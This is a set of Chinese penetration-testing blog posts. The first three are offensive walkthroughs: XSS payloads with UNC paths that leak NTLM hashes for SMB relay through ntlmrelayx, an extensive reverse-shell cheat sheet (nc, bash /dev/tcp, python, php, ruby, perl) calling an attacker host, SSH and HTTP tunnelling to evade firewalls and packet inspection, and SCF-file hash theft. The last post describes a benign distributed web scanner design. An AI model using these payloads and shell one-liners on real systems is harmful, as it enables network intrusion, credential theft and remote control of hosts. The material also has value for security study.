渗透测试技巧之一个XSS引发的漏洞利用与思考

0x00 前言

某日,某位小伙伴在微信上发我一个问题,如何利用已知的存储型XSS漏洞在后渗透测试中扩大战果,如RCE?想来这是个很值得思考的一个问题,故有此文。

0x01 分析

首先分析一下问题的题干:

  • 存储型XSS
  • 后渗透利用

首先整理一下可能的思路:

  • 思路一:利用浏览器的漏洞来达到代码执行的效果
  • 思路二:利用浏览器的内置功能直接执行系统命令,如:IE的ActiveX
  • 思路三:利用XSS获取NTLMhash再结合SMB Relay攻击来渗透内网

思路一的利用成本较高尤其是当下的浏览器想找到一个好用的RCE漏洞不是难么容易,放弃!

思路二的利用局限性很大,尤其是IE的ActiveX功能由于安全性问题默认都是Disable的,放弃!

那么现在就剩下思路三了,当然这也是今天这篇文章想要重点探讨的一个方法。

众所周知,在内网渗透里的一个常见步骤就是获取内网中主机的NTLMhash,从而用来离线破解可能的弱密码或者利用Pass The Hash攻击,其实还有种方法是SMB Relay,相关的利用文章有很多,具体可以参考如下,这里就不在赘述。

那么如何通过XSS来获得NTLMhash呢?

其实原理很简单,Windows系统上只要某个应用可以访问UNC路径下的资源,系统就会默认发送NTLMhash至UNC服务器,比如如下可行的方法:

因此我们可以使用下面例子来通过XSS获取NTLMhash:

<img src="\\\\<attacker ip>\\smbrelay"> 
Or
<script src="\\\\<attacker ip>\\smbrelay"/>

然后,我们可以设置好SMB Relay的监听工具并插入上述的XSS payload进入目标服务里,一旦管理员或者任何内网中的用户访问目标服务,XSS payload就会被执行并将该用户的Windows系统的NTLMhash发送至我们的监听服务器。

最后,通过SMB Relay工具利用获取到的NTLMhash对内网的其他主机发起攻击并可能远程执行任意命令从而最终获得系统控制权。

0x02 实验

有了上面的理论分析,接下来就是实验论证可行性了。

准备如下实验机器:

  • 目标内网主机A:Windows 7 64位 (10.0.0.5)
  • 目标内网主机B:Windows 7 32位 (10.0.0.6)
  • 受害者主机C: Windows XP (10.0.0.8)
  • 攻击机D:Kali Linux (10.0.0.7)

实验前提:

  • 主机C可以远程访问主机A和B的administrative share(即admin$和C$)
    • 对于WORKGROUP中的机器,主机A, B和C的本地管理员组必须同时存在一个相同用户名和密码的账号,且主机C以该账号登陆,另外对于主机A和B需要通过以下方式关闭UAC(适用于Win7及以上操作系统)
      • REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1
    • 对于域中的机器,主机A, B和C的本地管理员组必须同时存在一个相同的域账号(一般都是域管理员账号),且主机C以该账号登陆即可
  • 主机A和B组策略中的Network security: LAN Manager authentication level不能是Send NTLMv2 response only. Refuse LM & NTLM(别担心,默认就不是)

实验步骤:

一 在攻击机D上下载并安装Impacket中的ntlmrelayx脚本,并开启监听如下:

python ntlmrelayx.py -tf targets.txt -c hostname > ~/smbrelay.txt

targets.txt:

10.0.0.5
10.0.0.6
10.0.0.8

二 插入如下XSS payload并在受害者主机C上打开存在XSS漏洞的页面,实验中以DVWA为例

<script src="\\\\10.0.0.7\\smbrelay">

三 此时,攻击机D上便可以看到我们已经成功地在主机A和B上执行了系统命令并返回了各自的主机名,如下:

0x03 总结

总结一下这里的利用思路

  • 利用XSS获取内网主机的NTLMhash(此处应该是Net-NTLMhash)
  • 利用ntlmrelayx脚本配合获取到的NTLMhash执行SMB Relay攻击从而在目标主机上执行任意系统命令

实战中的意义

其实对于工作组中的主机利用的条件相对比较苛刻,首先你得需要受害者可以访问内网中目标主机的administrative share,且目标主机关闭了UAC并保持了默认的组策略配置;对于域中的主机,需要受害者正在以域管理员账户登陆主机,如果这种情况下的话利用成本将会大大降低且危害很大。

减轻方法

  • 开启主机的UAC功能
  • 配置主机的组策略中的Network security: LAN Manager authentication level为Send NTLMv2 response only. Refuse LM & NTLM
  • 不要以域管理员账户登陆主机并点击任意不明文件和链接

0x04 参考

注:尊重知识产权,从你我做起,转载请注明出处,否则谢绝转载,谢谢!

渗透测试技巧之内网穿透方式与思路总结

本文首发于先知论坛:https://xianzhi.aliyun.com/forum/topic/1623/

0x00 前言

本文主要来探讨一下内网穿透方式与思路总结。在开始之前,需要先设置一个前提即已经具有目标内网中的一台主机的任意命令执行的权限,比如:webshell或者某个service的RCE漏洞。我们这里的目标是要绕过可能存在的防火墙,IDS/IPS或者深度包检测系统从而拿到目标内网主机的shell并进而穿透内网以便实施内网渗透。

0x01 实验与分析

实验环境的搭建:

这里我使用VirtualBox新建了一个NAT网络(10.0.2.0/24)来模拟内网以及一台Kali主机(192.168.0.230)来模拟外网主机,具体如下:

  • 内网地址(NAT网络):10.0.2.0/24
    • 内网主机A(Windows):10.0.2.15
    • 内网主机B(Linux):10.0.2.5
  • 内网出口地址(NAT出口地址):192.168.7.225
  • 外网主机:192.168.0.230

网络拓扑如下:

现在假设我们已经拥有了MyLab网络中的Linux或者Windows的代码执行权限,我们的目标是在我们的攻击机Kali主机上成功获取到内网主机的shell。

场景与思路分析:

场景一:内网防火墙对出口流量没有任何端口限制

思路:由于防火墙对出口流量没有任何端口限制,我们的可选择的方案非常灵活,如:反弹shell

方法:

1. Windows:

nc.exe -nv 192.168.0.230 8080 -e cmd.exe

2. Linux: 

1)Netcat

nc -nv 192.168.0.230 8080 -e /bin/bash

mknod /tmp/p p && /bin/sh 0</tmp/p | nc 192.168.0.230 8080 1>/tmp/p

2)Ncat

ncat -nv 192.168.0.230 8080 -e /bin/bash

3)Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.230",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

4)PHP

php -r '$sock=fsockopen("192.168.0.230",8080);exec("/bin/sh -i <&3 >&3 2>&3");'

5)Ruby

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.0.230","8080");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

6)Perl

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.230:8080");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

7)Bash

bash -i >& /dev/tcp/192.168.0.230/8080 0>&1

0<&196;exec 196<>/dev/tcp/192.168.0.230/8080; sh <&196 >&196 2>&196
 
/bin/bash -i > /dev/tcp/192.168.0.230/8080 0<&1 2>&1

场景二:内网防火墙仅允许内网主机访问外网的特定端口(如:80, 443)

思路:由于防火墙仅允许部分特定外网端口可以访问,思路一仍然是反弹shell只不过目标端口改成特定端口即可;思路二则是端口转发,将内网主机的某些服务的端口转发到外网攻击主机上的防火墙允许的特定端口上,再通过连接外网主机上的本地端口来访问内网服务

方法一:反弹shell可参考场景一中的方法,仅需修改目标端口为防火墙允许的特定端口即可

方法二:端口转发

1. Windows

2. Linux (SSH远程端口转发,以允许的特定端口为80为例)

1)在外网主机上将ssh的22端口映射到80端口

$ apt-get install rinetd
$ vim /etc/rinetd.conf
# bindadress    bindport    connectaddress    connectport
  192.168.0.230 80          192.168.0.230     22

2)内网主机上SSH远程端口转发如下

ssh root@192.168.0.230 -p 80 -f -N -R 2022:127.0.0.1:22
(输入外网主机的SSH口令)

3)在外网主机上直接ssh内网主机如下

ssh -p 2022 avfisher@127.0.0.1
(输入内网主机的SSH口令)

方法三:SSH的动态端口转发配合proxychains来代理所有流量进一步渗透内网
1)在内网主机上执行

ssh -f -N -R 2222:127.0.0.1:22 -p 80 root@192.168.0.230
(输入外网主机的SSH口令)

2)在外网主机上执行

ssh -f -N -D 127.0.0.1:8080 -p 2222 avfisher@127.0.0.1
(输入内网主机的SSH口令)

3)在外网主机上配置proxychains设置socks4代理

$ vim /etc/proxychains.conf
[ProxyList]
socks4 127.0.0.1 8080

4) 使用proxychains代理所有流量进入内网

proxychains nc -nv 10.0.2.5 3306

场景三:内网防火墙具有协议检测和识别能力且仅允许HTTP流量出去外网

思路:由于防火墙仅允许HTTP流量出去外网,可选择的方案将会受到很大限制,但是其中一种方案是HTTP隧道技术

方法:将payload的协议封装在HTTP协议中

1)在外网主机上安装brigde (https://github.com/luizluca/bridge)

$ git clone https://github.com/luizluca/bridge
$ cd bridge
$ ruby bridge 80 /bridge
$ nc -lvvp 8080

2)在内网主机上安装bridge

$ git clone https://github.com/luizluca/bridge
$ cd bridge
$ ruby bridge 8080 http://192.168.0.230:80/bridge 192.168.0.230 8080
$ nc -nv 127.0.0.1 8080 -e /bin/bash

一旦建立了HTTP隧道,后面的操作可以结合前2个场景中的方法。

场景四:内网具备深度包检测能力且仅允许HTTP流量出去外网但可以检测明文传输的HTTP流量

思路:该场景比场景三更加苛刻,在场景三中我们将流量封装在HTTP协议中来Bypass检测,但是流量本身都是明文传输,所以一旦目标内网检测HTTP流量,我们还是可能被拦截,因此我们需要对场景三中的思路稍加修改,即利用SSL或者SSH加密流量在结合HTTP隧道技术。这样封装在HTTP协议中的流量本身也是加密的,检测系统就无法发现真实的payload了。

方法:利用SSL或者SSH加密流量在结合HTTP隧道技术

1)与场景三中的方法类似,先在外网主机上安装brigde

$ git clone https://github.com/luizluca/bridge
$ cd bridge
$ ruby bridge 80 /bridge

2)在外网主机上开启使用了ssl加密的ncat监听进程,如下

ncat -lvvp 8080 --ssl

3)在内网主机上安装bridge

$ git clone https://github.com/luizluca/bridge
$ cd bridge
$ ruby bridge 8080 http://192.168.0.230:80/bridge 192.168.0.230 8080

4)同样地,在内网主机上使用ssl与监听主机通信

ncat -nv 127.0.0.1 8080 -e /bin/bash --ssl

SSH加密端口转发流量的操作可参照场景二中的方法二和三。

场景五:内网主机完全与外网不通

思路:既然该内网主机与外网都不通,那为什么还浪费时间非要借助于这个主机来做内网穿透呢?换个思路,找个能通的内网主机在穿透出来吧。

方法:都找到了能通外网的内网主机了,那么其他场景里提到的方法应该就能解决你的问题了吧…

0x02 小结

本文尝试从不同场景切入分析和总结,从内网限制的宽松到严苛,来逐个探讨可行的Bypass方案,算是抛砖引玉吧,更多地方法和思路会不断丰富和更新进来。

注:尊重知识产权从你我做起,本文谢绝转载,如需转载请与博主联系后授权转载。

渗透测试技巧之利用SCF文件偷取Window NTLM Auth Hash

0x00 前言

今天国外安全研究人员公布了一个通过SCF文件来偷取远程服务器的Window NTLM Auth Hash的技巧,笔者仔细看了一下他的文章觉得很不错,故做了简单研究遂作此文。

0x01 分析与实践

漏洞原理分析

该漏洞通过向网络中的共享目录中上传特殊构造的SCF文件(即在SCF文件中将图标文件指定到我们攻击机伪造的共享目录里),故当任何用户访问该共享目录时便可获取它的Windows NTLM Hash,从而可以进一步破解Hash获得明文密码或者利用NTLM Relay攻击目标服务器,这是一个非常简单且实用的内网渗透技巧。

SCF stands for Shell Command File and is a file format that supports a very limited set of Windows Explorer commands, such as opening a Windows Explorer window or showing the Desktop. The "Show Desktop" shortcut we all use on a daily basis is an SCF file.

实验与实践

实验环境:

  • 攻击机:192.168.1.105 (Kali)
  • 目标机/局域网主机B (文件共享主机):192.168.1.107 (Windows 7 64 bits)
  • 局域网主机A:192.168.1.104 (Windows 7 32 bits)
  • 局域网主机C:192.168.1.106 (Windows XP)

具体步骤:

首先在目标机上创建一个共享文件夹并共享给everyone可读写权限(例如:scftest)

然后关闭共享的密码保护如下:

接下来,在我们的攻击机上创建一个SCF文件,如下:

注意:其中的192.168.1.105是指向我们的攻击机。

上传上面构造的SCF文件至目标服务器的共享目录里:


在攻击机上开启MSF的auxiliary/server/capture/smb模块来伪造共享目录并抓取用户的Windows密码Hash:


此时任何访问下面目标机上的共享目录的Windows用户的密码Hash都将可能被我们的攻击机获取到。

\\192.168.1.107\Users\win7_64\Desktop\scftest\

局域网主机A:(192.168.1.104/win7_32)


局域网主机B:(192.168.1.107/win7_64)


局域网主机C:(192.168.1.106/win_xp)


在攻击机上我们也“如愿地”偷取到了这三个来自不同windows主机的用户的Windows密码Hash:


所有获取到的NTLM Hash保存在/tmp/smbhashes.txt_netntlmv2,如下:


最后,我们可以通过John the Ripper或者其他在线Windows Hash破解网站,来破解明文密码或者利用Net-NTLM Hash来NTLM Relay攻击。

0x02 参考

注:转载请注明出处,尊重知识产权,从你我做起!

一个简单的分布式WEB扫描器的设计与实践

0x00 前言

作为一个安全从业人员,在平常的工作中总是需要对一些web系统做一些安全扫描和漏洞检测从而确保在系统上线前尽可能多的解决了已知的安全问题,更好地保护我们的系统免受外部的入侵和攻击。而传统的web安全检测和扫描大多基于web扫描器,而实际上其是利用爬虫对目标系统进行资源遍历并配合检测代码来进行,这样可以极大的减少人工检测的工作量,但是随之而来也会导致过多的误报和漏报,原因之一就是爬虫无法获取到一些隐藏很深的系统资源(比如:URL)进行检测。在这篇文章里,笔者主要想和大家分享一下从另一个角度来设计web扫描器从而来解决开头所提到的问题。

0x01 设计

在开始探讨设计之前,我们首先了解一下web漏洞检测和扫描的一般过程和原理。通常我们所说的web漏洞检测和扫描大致分为2种方式:

  • web扫描器:主要利用扫描器的爬虫获取目标系统的所有URL,再尝试模拟访问这些URL获取更多的URL,如此循环,直到所有已知的URL被获取到,或者利用已知字典对目标系统的URL进行暴力穷举从而获取有效的URL资源;之后对获取的URL去重整理,利用已知漏洞的检测代码对这些URL进行检测来判断目标系统是否存在漏洞
  • 人工检测:通过设置代理(如:burp)来截获所有目标系统的访问请求,然后依据经验对可能存在问题的请求修改参数或者添加检测代码并重放(如:burp中的repeat功能)从而判断目标系统是否存在漏洞

对比上面的2种方式,我们可以发现web扫描器可以极大的减少人工检测的工作量,但是却因为爬虫的局限性导致很多事实上存在的资源不能被发现容易造成就误报和漏报;而人工检测可以很好的保证发现漏洞的准确性和针对性,但是却严重依赖于检测人员的经验和时间,尤其是大型系统很难在有限的时间内完成检测,同样会造成漏报。那么,如果能有效地利用扫描器的处理速度以及人工的精准度的话,是不是就可以很好地解决前面的问题了呢?

下面让我们来深究一下两者的各自优势,前者自动化程度高不需要过多的人为干预,后者因为所有请求均来自于真实的访问准确度高。我们不禁思考一下,如果我们有办法可以获取到所有的真实请求(包括:请求头,cookie,url,请求参数等等)并配合扫描器的检测代码是不是更加有针对性且有效地对系统进行漏洞检测呢?

我们设想一下,如果有这样一个系统可以在用户与系统之前获取到所有的请求,并分发给扫描器进行检测,这样只要请求是来自于真实的应用场景或者系统的功能那么就可以最大程度地收集到所有真实有效的资源。故可以设计该系统包含如下的子模块:

  • 客户端:用户访问系统的载体,如:浏览器,手机APP
  • 代理:用于获取来自于客户端的所有请求,如:Burp,Load Balancer
  • 解析器:负责将代理获取的请求数据按照规定格式解析并插入至请求数据库中
  • 请求数据库:用于存放代理获取的所有请求数据以及解析器和扫描器的配置信息
  • 扫描器:具有漏洞检测功能的扫描器,如:自行编写的定制扫描器(hackUtils),SQLMAP,Burp Scanner,WVS,OWASP ZAP等
  • 应用系统:目标应用系统,如: Web系统,APP

基本架构如下:

从上图的设计中,我们可以利用代理将所有访问目标系统的请求获取并存储在一个统一的数据库中,然后将这些真实产生的请求分发给不同的扫描器(比如:常见的OWASP Top10的漏洞,已披露的常见框架或者中间件漏洞等)进行检测。上述设计是高度解耦合地并且每个子模块都是只负责自己的功能相互之间并不干扰,且仅通过中心数据库关联起来,因此我们可以通过设置多个代理和扫描器地随意组合来实现分布式地批量检测。

这种设计架构可以很方便地进行扩展和应用, 例如:

  • 对于漏洞检测或者安全测试人员,我们只需要在本地设置好代理(如:burp),然后在浏览器或者移动APP中正常地访问或者测试应用的每一个页面和功能,接下来的漏洞检测工作就完全交给了扫描器去做,这将极大地节约了时间和避免了大量重复的手工检测的工作量
  • 对于企业系统,我们可以将代理设置在应用前端(如:load balancer),这样所有的请求将会被自动镜像在扫描数据库,并自动分发给多个扫描引擎进行检测,无需手工干预即可发现很多隐藏很深的漏洞

0x02 实践

俗语说的好,“Talk is cheap, show me the code”! 是的,为了更好地了解这种设计思路的好处,笔者设计了一个Demo系统。该系统利用了burp作为代理,当我们在浏览器或者手机的wifi中配置好了代理服务器,漏洞检测的工作将会简化成简单地浏览应用的每一个页面和功能,代理将会自动地收集产生的所有请求数据(包括,各种请求头,cookie,请求方法,请求数据等)然后通过解析器的解析并存储于中央数据库,然后再分发于多个扫描引擎对请求的所有可控输入点进行repeat检测。

效果如下:

以下是我封装的一个python的requests库,它支持发送自定义的cookie,headers的get/post的请求,并可以是使用PhantomJS引擎去解析和渲染GET请求响应的页面中的javascript,css等,可以非常方便的应用于反爬虫和DOM型XSS的检测。

Code:https://github.com/brianwrf/HackRequests

0x03 思考

从漏洞检测的角度来说,经过笔者的测试(以DVWA和WebGoat为例)检测效果还是非常明显和有效的。其实这种类似的设计,很早之前就已经有人做了,那么很多人要问了为什么你还要在重复造个轮子呢?其实原因有以下几点:

  • 系统耦合性较强,不利于进行扩展和改造
  • 在HTTPS的流量捕获上支持的不是很好
  • 没有做到对HTTP请求中所有的可控输入点进行检测,例如,仅仅检测GET/POST数据,而对cookie,user-agent, referer等缺乏检测
  • 缺乏对于DOM的渲染和解析,容易造成对于基于DOM的漏洞的漏报,比如:DOM型的XSS等
  • 不具备分布式部署的能力,无法有效利用分布式处理的优点来提高检测效率
  • 不具备真正的意义上的repeat检测能力,换句话说不能完全模拟用户的请求

当然,上述的设计也存在一些待解决的问题,比如:

  • 若将代理部署至应用前端镜像所有请求,再分发至扫描引擎检测,如何防止真实用户数据泄漏和篡改?可能的解决方案是设置例外,对于敏感字段或者请求进行例外处理。

写在最后

Anyway, 新系统的设计无非是汲取前人的智慧加以优化再为后人铺路,解决问题才是考验系统能力的关键!后续我会继续努力改进其不足,让其更加易于使用!

注:如觉得有意思想转载的话,请注明出处,尊重知识产权,从你我开始,谢谢!